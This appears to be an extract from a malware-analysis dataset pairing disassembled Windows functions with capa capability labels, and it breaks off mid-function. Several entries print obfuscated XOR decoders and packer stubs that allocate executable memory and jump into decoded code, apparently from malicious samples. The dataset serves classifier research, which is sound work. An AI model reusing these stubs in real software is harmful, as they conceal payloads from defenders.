joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403772
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
and dword [ebx], esi
push edi
mov dword [ebp - 8], edx
mov edi, ecx
cmp dword [ebp + 0xc], esi
je 0x4037b7
cmp dword [0x412c54], esi
je 0x40393d
push 0x412c48
call dword [sym.imp.libav.dll_Ordinal_24]
pop ecx
xor ecx, ecx
cmp eax, 1
cmove ecx, edi
mov eax, ecx
jmp 0x40393f
test edi, edi
je 0x4037d4
push edi
call dword [sym.imp.libav.dll_Ordinal_15]
xor ecx, ecx
mov esi, eax
call fcn.00406713
push edi
call dword [sym.imp.libav.dll_Ordinal_9]
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x1c]
mov word [ebp - 0xc], 0x79
mov word [ebp - 0x17], 0x7361
mov dword [ebp - 0x1c], 0x61746144
mov word [ebp - 0x11], 0x6365
mov word [ebp - 0x14], 0x6944
mov word [ebp - 0xf], 0x6f74
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x18], 0x62
call fcn.00406f1e
cmp dword [0x412c54], 0
mov eax, dword [eax + 8]
mov dword [ebp + 0x10], eax
mov ecx, 0x412c48
je 0x403835
push ecx
call dword [sym.imp.libav.dll_Ordinal_25]
pop ecx
mov ecx, 0x412c48
xor eax, eax
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ecx
push dword [ebp + 0x10]
stosd dword es:[edi], eax
call dword [sym.imp.libav.dll_Ordinal_26]
pop ecx
pop ecx
test eax, eax
je 0x403866
mov dword [ebx], 1
test esi, esi
je 0x40385f
push esi
call dword [sym.imp.libav.dll_Ordinal_16]
pop ecx
xor eax, eax
jmp 0x40393f
call dword [sym.imp.libav.dll_Ordinal_11]
mov edi, eax
test edi, edi
je 0x40384d
test esi, esi
je 0x403888
push esi
push edi
call dword [sym.imp.libav.dll_Ordinal_14]
push esi
call dword [sym.imp.libav.dll_Ordinal_16]
add esp, 0xc
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0x10]
call dword [sym.imp.libav.dll_Ordinal_18]
add esp, 0x10
push edi
test eax, eax
je 0x4038af
call dword [sym.imp.libav.dll_Ordinal_9]
mov dword [ebx], 1
jmp 0x40385e
call dword [sym.imp.libav.dll_Ordinal_8]
pop ecx
test eax, eax
je 0x4038bd
push edi
jmp 0x4038a1
push dword [ebp - 4]
lea eax, [ebp - 0x48]
push eax
mov word [ebp - 0x23], 0x7574
mov dword [ebp - 0x3d], 0x63657272
mov word [ebp - 0x45], 0x6261
mov dword [ebp - 0x41], 0x6f632065
mov dword [ebp - 0x2c], 0x20752528
mov dword [ebp - 0x28], 0x6e676973
mov dword [ebp - 0x20], 0x297365
mov dword [ebp - 0x34], 0x616f6c65
mov dword [ebp - 0x30], 0x20646564
mov word [ebp - 0x48], 0x6144
mov word [ebp - 0x43], 0x7361
mov dword [ebp - 0x39], 0x20796c74
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x24], 0x61
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x46], 0x74
call fcn.00407649
push 0x40f3cc
call fcn.00407649
add esp, 0xc
mov ecx, edi
call fcn.00406713
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406e25
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
lea eax, [ebp - 0x20]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x20], 0x47535457
mov dword [ebp - 0xb], 0x6f697373
mov dword [ebp - 0x16], 0x6f436576
mov word [ebp - 0x1c], 0x7465
mov word [ebp - 0x19], 0x7463
mov word [ebp - 0x10], 0x6c6f
mov word [ebp - 0xd], 0x6553
mov word [ebp - 0x12], 0x736e
mov dword [ebp - 7], 0x64496e
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x1a], 0x41
call fcn.00406d77
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x406e8d
call eax
mov esi, eax
mov eax, esi
pop esi
leave
ret

Function at 0x406ecf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 7], 0x6c6c642e
mov word [ebp - 0xc], 0x696c
mov byte [ebp - 3], 0
mov word [ebp - 9], 0x7661
mov byte [ebp - 0xa], 0x62
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
leave
ret

Function at 0x406f4e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push 6
lea eax, [ebp - 8]
push 0x411d78
push eax
mov word [ebp - 6], 0x6576
xor ebx, ebx
mov word [ebp - 3], 0x2d
mov byte [ebp - 4], 0x6c
mov word [ebp - 8], 0x6564
mov dword [ebp - 0x13], 0x726f7078
mov dword [ebp - 0xf], 0x646574
mov byte [ebp - 0x14], 0x65
call dword [sym.imp.MSVCR110.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x406fcb
mov ecx, 0x411d98
lea eax, [ebp - 0x14]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406fbd
test dl, dl
je 0x406fc2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406fbd
add eax, 2
add ecx, 2
test dl, dl
jne 0x406f9f
jmp 0x406fc2
sbb ebx, ebx
or ebx, 1
mov eax, str.devel_clamav_0.98.6
test ebx, ebx
jne 0x406fd0
mov eax, str.devel_clamav_0.97_408_ge11f7cc
pop ebx
leave
ret
Function at 0x406fd3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call dword [sym.imp.libav.dll_Ordinal_19]
mov ecx, dword [sym.imp.libav.dll_Ordinal_1003]
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push ebx
push ebx
push dword [ecx]
mov edi, eax
call dword [sym.imp.libav.dll_Ordinal_44284]
add esp, 0x1c
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40718d
lea edx, [ebp - 0x20]
mov ecx, eax
mov word [ebp - 0x1f], 0x7461
mov dword [ebp - 0x12], 0x79726f
mov word [ebp - 0x17], 0x7269
mov word [ebp - 0x14], 0x7463
mov word [ebp - 0x19], 0x4465
mov byte [ebp - 0x15], 0x65
mov word [ebp - 0x1c], 0x6162
mov byte [ebp - 0x20], 0x44
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x1d], 0x61
call fcn.00406f1e
mov dword [ebp - 4], eax
cmp dword [eax + 0x18], ebx
je 0x40718d
mov esi, dword [eax + 8]
mov dword [ebp - 8], esi
mov edx, esi
mov ecx, edi
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40707c
test al, al
je 0x407081
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40707c
add ecx, 2
add edx, 2
test al, al
jne 0x40705e
jmp 0x407081
sbb ebx, ebx
or ebx, 1
test ebx, ebx
je 0x40718d
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40708e
sub ecx, edx
mov edx, edi
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40709c
sub edx, esi
lea eax, [ecx + 0x1e]
add eax, edx
push eax
call dword [sym.imp.MSVCR110.dll_malloc]
push dword [ebp - 8]
mov ebx, dword [sym.imp.MSVCR110.dll_sprintf]
mov esi, eax
push 0x411de0
push esi
call ebx
push 4
push esi
call dword [sym.imp.libav.dll_Ordinal_44340]
add esp, 0x18
test eax, eax
je 0x4070e5
mov eax, dword [ebp - 4]
push dword [eax + 8]
push 0x411df0
push esi
call ebx
add esp, 0xc
push 4
push esi
call dword [sym.imp.libav.dll_Ordinal_44340]
pop ecx
pop ecx
test eax, eax
jne 0x407185
push esi
call dword [sym.imp.libav.dll_Ordinal_3]
pop ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x407185
push edi
push 0x411e00
push esi
call ebx
push 4
push esi
call dword [sym.imp.libav.dll_Ordinal_44340]
add esp, 0x14
test eax, eax
je 0x40712c
push edi
push 0x411e10
push esi
call ebx
add esp, 0xc
push 4
push esi
call dword [sym.imp.libav.dll_Ordinal_44340]
pop ecx
pop ecx
test eax, eax
jne 0x40716b
push esi
call dword [sym.imp.libav.dll_Ordinal_3]
mov ebx, eax
pop ecx
test ebx, ebx
je 0x40716b
push esi
call dword [sym.imp.MSVCR110.dll_free]
mov esi, dword [ebp - 8]
pop ecx
mov ecx, dword [esi + 4]
cmp ecx, dword [ebx + 4]
jbe 0x407162
mov eax, dword [ebp - 4]
mov edi, dword [eax + 8]
push ebx
call dword [sym.imp.libav.dll_Ordinal_2]
jmp 0x40717b
push esi
call dword [sym.imp.MSVCR110.dll_free]
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov edi, dword [eax + 8]
pop ecx
push esi
call dword [sym.imp.libav.dll_Ordinal_2]
jmp 0x40718c
push esi
call dword [sym.imp.MSVCR110.dll_free]
pop ecx
push edi
call dword [sym.imp.MSVCR110.dll__strdup]
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
test ecx, ecx
je 0x4071a3
call fcn.00406efc
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x401c66
pop dword [ebp - 0x10]
mov eax, 0xa98704d0
add eax, 0x56b91796
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x73ccb8a
add dword [ebp - 0x20], 0x471579c1
mov dword [ebp - 0x1c], 0xa238137c
add dword [ebp - 0x1c], 0x8ffb38c9
mov dword [ebp - 0x18], 0x7c50e73e
add dword [ebp - 0x18], 0xcffb5cf0
mov dword [ebp - 0x14], 0xdaafa06a
sub dword [ebp - 0x14], 0xdaafa06a
lea eax, [ebp - 0x20]
push eax
mov eax, 0xbc201f98
add eax, 0x442010bc
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x47be7bec
sub dword [ebp - 0x20], 0xd34c1296
mov dword [ebp - 0x1c], 0x3b0e82d8
sub dword [ebp - 0x1c], 0xf9a22163
mov dword [ebp - 0x18], 0x9ec7d7fd
sub dword [ebp - 0x18], 0x3b586b91
mov dword [ebp - 0x14], 0x9dddd8c6
add dword [ebp - 0x14], 0x6222273a
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x3011d1fb
sub eax, 0x2fd1a1cf
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35ef6
push 0
call eax
mov ecx, 0xdb7094e8
sub ecx, 0xdb704f17
mov edi, eax
mov esi, 0x433aa1a
sub esi, 0x3f33a1a
add esi, dword [ebp - 0x10]
mov ebx, 0x89bf391d
sub ebx, 0x851dd3f4
sub dword [ebp - 4], ecx
mov edx, dword [esi]
sub dword [ebp - 8], edx
add edx, ebx
sub dword [ebp - 0xc], edi
mov dword [edi], edx
xor dword [ebp - 4], ebx
add edi, 0xd0fd453a
sub edi, 0xd0fd4536
add esi, 0xa066212e
sub esi, 0xa066212a
loop 0x401d88
add eax, 0x10a17
mov ebx, eax
add eax, 0x65325007
sub eax, 0x65325002
mov ecx, 0xec4d8263
sub ecx, 0xec0d8263
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1002f65
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
push 0x1001980
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002fd0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0x1001970
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1002fc7
cmp dword [ebp - 8], 4
jne 0x1002fc7
cmp dword [ebp - 0xc], 1
jne 0x1002fc7
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10005bcf
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x3c4
mov eax, 0x1003132a
call fcn.10009696
mov edi, ecx
cmp dword [edi + 0x20], 0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x3cc], eax
je 0x10005d61
cmp dword [esi + 0x14], 8
mov eax, esi
mov dword [ebp - 0x3bc], 7
mov dword [ebp - 0x3b8], 1
jb 0x10005c14
mov eax, dword [esi]
lea ecx, [ebp - 0x3b8]
xor ebx, ebx
push ecx
push ebx
lea ecx, [ebp - 0x3bc]
push ecx
push ebx
push eax
push dword [edi + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, eax
cmp ecx, 2
je 0x10005d57
cmp dword [ebp - 0x3bc], 7
jne 0x10005d57
test ecx, ecx
je 0x10005c64
push esi
lea eax, [edi + 8]
push eax
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x3b4]
call fcn.10019c86
jmp 0x10005d6e
mov eax, dword [ebp - 0x3b8]
add eax, 2
mov dword [ebp - 0x3c8], ebx
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3c4], ebx
mov dword [ebp - 0x3c0], ebx
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 4], ebx
push ecx
push eax
call fcn.10019c86
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x3c8]
sub eax, ecx
push 0
pop eax
cmove ecx, eax
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x10005cba
mov eax, dword [esi]
lea edx, [ebp - 0x3b8]
push edx
push ecx
lea ecx, [ebp - 0x3bc]
push ecx
push ebx
push eax
push dword [edi + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, eax
test ecx, ecx
jne 0x10005c4c
mov edx, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x3c8]
sub edx, ecx
mov esi, dword [ebp - 0x3cc]
xor eax, eax
test edx, edx
cmove ecx, eax
lea eax, [ecx + ebx*2]
push eax
lea ecx, [ebp - 0x28]
call fcn.10019c86
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
mov ecx, esi
call fcn.10019c86
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
inc eax
mov byte [ebp - 4], 1
add ebx, eax
call fcn.100023a0
mov edx, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x3c8]
sub edx, ecx
push 0
mov eax, ecx
pop edi
cmove eax, edi
cmp byte [eax + ebx*2], 0
jne 0x10005cf2
test ecx, ecx
je 0x10005d53
mov edx, dword [ebp - 0x3c0]
sub edx, ecx
call fcn.10002962
mov al, 1
jmp 0x10005d59
xor al, al
call fcn.10009655
ret 8
push ecx
push ecx
lea ecx, [ebp - 0x3b4]
call fcn.10005db1
push 0x100437bc
lea eax, [ebp - 0x3b4]
push eax
call fcn.10019c86
int3

Function at 0x100063cd
Capabilities:
Parse pe header

Disassembly:
push 0x24
push 0x10041bf0
call fcn.10009a30
mov edi, edx
push 0x1c
lea eax, [ebp - 0x34]
push eax
push ecx
call dword [sym.imp.kernel32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x30]
cmp word [ecx], ax
jne 0x10006443
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x10006443
mov esi, dword [edx + ecx + 0xd8]
lea eax, [ecx + esi]
cmp edi, eax
jb 0x10006443
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp edi, eax
jae 0x10006443
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000644c
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000663a
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov edx, dword [0x10047b00]
push ebx
push esi
mov esi, ecx
mov ebx, 0x10000
cmp esi, 0x7ff80000
push edi
mov edi, 0xfff80000
lea eax, [esi - 0x7ff80000]
cmova ebx, eax
cmp esi, 0x80000000
lea eax, [esi + 0x7ff80000]
cmovb edi, eax
mov eax, dword [0x10047af4]
test edx, edx
jne 0x10006682
test eax, eax
je 0x10006695
mov edx, eax
mov dword [0x10047b00], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x10006695
cmp ecx, ebx
jb 0x10006695
cmp ecx, edi
jbe 0x10006779
mov edx, eax
test eax, eax
jmp 0x100066b7
test edx, edx
je 0x100066b2
mov eax, dword [edx + 8]
test eax, eax
je 0x100066b2
cmp eax, ebx
jb 0x100066b2
cmp eax, edi
jbe 0x10006779
mov edx, dword [edx + 4]
test edx, edx
mov dword [0x10047b00], edx
jne 0x1000669b
and esi, 0xffff0000
cmp esi, 0x40000000
jbe 0x100066f9
lea ecx, [esi - 0x40000000]
mov edx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
lea edx, [esi - 0x40000000]
mov ecx, ebx
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
cmp esi, 0x40000000
jae 0x10006721
lea edx, [esi + 0x40000000]
mov ecx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, edi
lea ecx, [esi + 0x40000000]
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, esi
mov ecx, ebx
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, edi
mov ecx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
je 0x1000679e
xor ecx, ecx
mov dword [edx], 0x52727464
mov dword [edx + 8], ecx
mov esi, 0x38b
mov eax, dword [0x10047af4]
mov dword [edx + 4], eax
lea eax, [edx + 0xffa8]
mov dword [0x10047b00], edx
mov dword [0x10047af4], edx
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x48
sub esi, 1
jne 0x10006769
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, ebx
jb 0x1000679e
cmp esi, edi
ja 0x1000679e
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.1000aff4
add esp, 0xc
mov eax, esi
jmp 0x100067a0
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x10006641
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov edx, dword [0x10047b00]
push ebx
push esi
mov esi, ecx
mov ebx, 0x10000
cmp esi, 0x7ff80000
push edi
mov edi, 0xfff80000
lea eax, [esi - 0x7ff80000]
cmova ebx, eax
cmp esi, 0x80000000
lea eax, [esi + 0x7ff80000]
cmovb edi, eax
mov eax, dword [0x10047af4]
test edx, edx
jne 0x10006682
test eax, eax
je 0x10006695
mov edx, eax
mov dword [0x10047b00], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x10006695
cmp ecx, ebx
jb 0x10006695
cmp ecx, edi
jbe 0x10006779
mov edx, eax
test eax, eax
jmp 0x100066b7
test edx, edx
je 0x100066b2
mov eax, dword [edx + 8]
test eax, eax
je 0x100066b2
cmp eax, ebx
jb 0x100066b2
cmp eax, edi
jbe 0x10006779
mov edx, dword [edx + 4]
test edx, edx
mov dword [0x10047b00], edx
jne 0x1000669b
and esi, 0xffff0000
cmp esi, 0x40000000
jbe 0x100066f9
lea ecx, [esi - 0x40000000]
mov edx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
lea edx, [esi - 0x40000000]
mov ecx, ebx
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
cmp esi, 0x40000000
jae 0x10006721
lea edx, [esi + 0x40000000]
mov ecx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, edi
lea ecx, [esi + 0x40000000]
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, esi
mov ecx, ebx
call fcn.10019c86
mov edx, eax
test edx, edx
jne 0x1000673f
mov edx, edi
mov ecx, esi
call fcn.10019c86
mov edx, eax
test edx, edx
je 0x1000679e
xor ecx, ecx
mov dword [edx], 0x52727464
mov dword [edx + 8], ecx
mov esi, 0x38b
mov eax, dword [0x10047af4]
mov dword [edx + 4], eax
lea eax, [edx + 0xffa8]
mov dword [0x10047b00], edx
mov dword [0x10047af4], edx
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x48
sub esi, 1
jne 0x10006769
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, ebx
jb 0x1000679e
cmp esi, edi
ja 0x1000679e
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.1000aff4
add esp, 0xc
mov eax, esi
jmp 0x100067a0
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x10019c86
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10019c95
pop dword [ebp - 0x4c]
mov eax, 0x9d3f5b08
add eax, 0x72c2418d
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x468c6
push 0
mov eax, 0x62da9797
add eax, 0xad2898bd
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x65bf8e3b
sub ecx, 0x65bf3be5
xor esi, esi
add esi, eax
mov edx, 0xa7bf9193
sub edx, 0x97badb93
add edx, dword [ebp - 0x4c]
mov edi, 0x3f0b7b94
add edi, 0x657a75bb
xor dword [ebp - 8], eax
mov ebx, dword [edx]
add dword [ebp - 0x38], 0xa3027fb1
xor ebx, edi
sub dword [ebp - 0x40], 0xccebc873
mov dword [esi], ebx
sub dword [ebp - 0x24], eax
add esi, 0x9bc7c61c
sub esi, 0x9bc7c618
add edx, 4
loop 0x10019cf6
add eax, 0x9070902f
add eax, 0x6f90abfc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfc806628
add ecx, 0x137f99d8
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x405b60
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4182a0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push accept
push 0x4184d0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405c85
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405c7b
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405c71
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x405c67
cmp dword [ebp - 0x10], 0x100
jae 0x405bfe
jmp 0x405c67
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040ca40
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405c15
jmp 0x405c67
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x405c3a
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040a3d0
add esp, 4
jmp 0x405c67
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405c90
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x405bed
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x40ada0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x418d20], 0
jne 0x40adb4
jmp 0x40ae8c
mov eax, dword [0x418d20]
shl eax, 3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040a1c0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ae8c
mov dword [ebp - 0x10], 0
jmp 0x40adea
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x418d20]
jae 0x40ae24
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx*4 + 0x418d28]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + 4]
mov dword [ecx + eax*8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax*4 + 0x418d28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [ecx + 8]
mov dword [eax + edx*8 + 4], ecx
jmp 0x40ade1
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x418af0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40ae73
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3d
push 0x4176c8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 4]
push edx
call fcn.0040a3d0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x40aff0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov byte [ebp - 0x101], 0
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40b087
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x40b087
mov dword [ebp - 0x10c], 0
jmp 0x40b04e
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
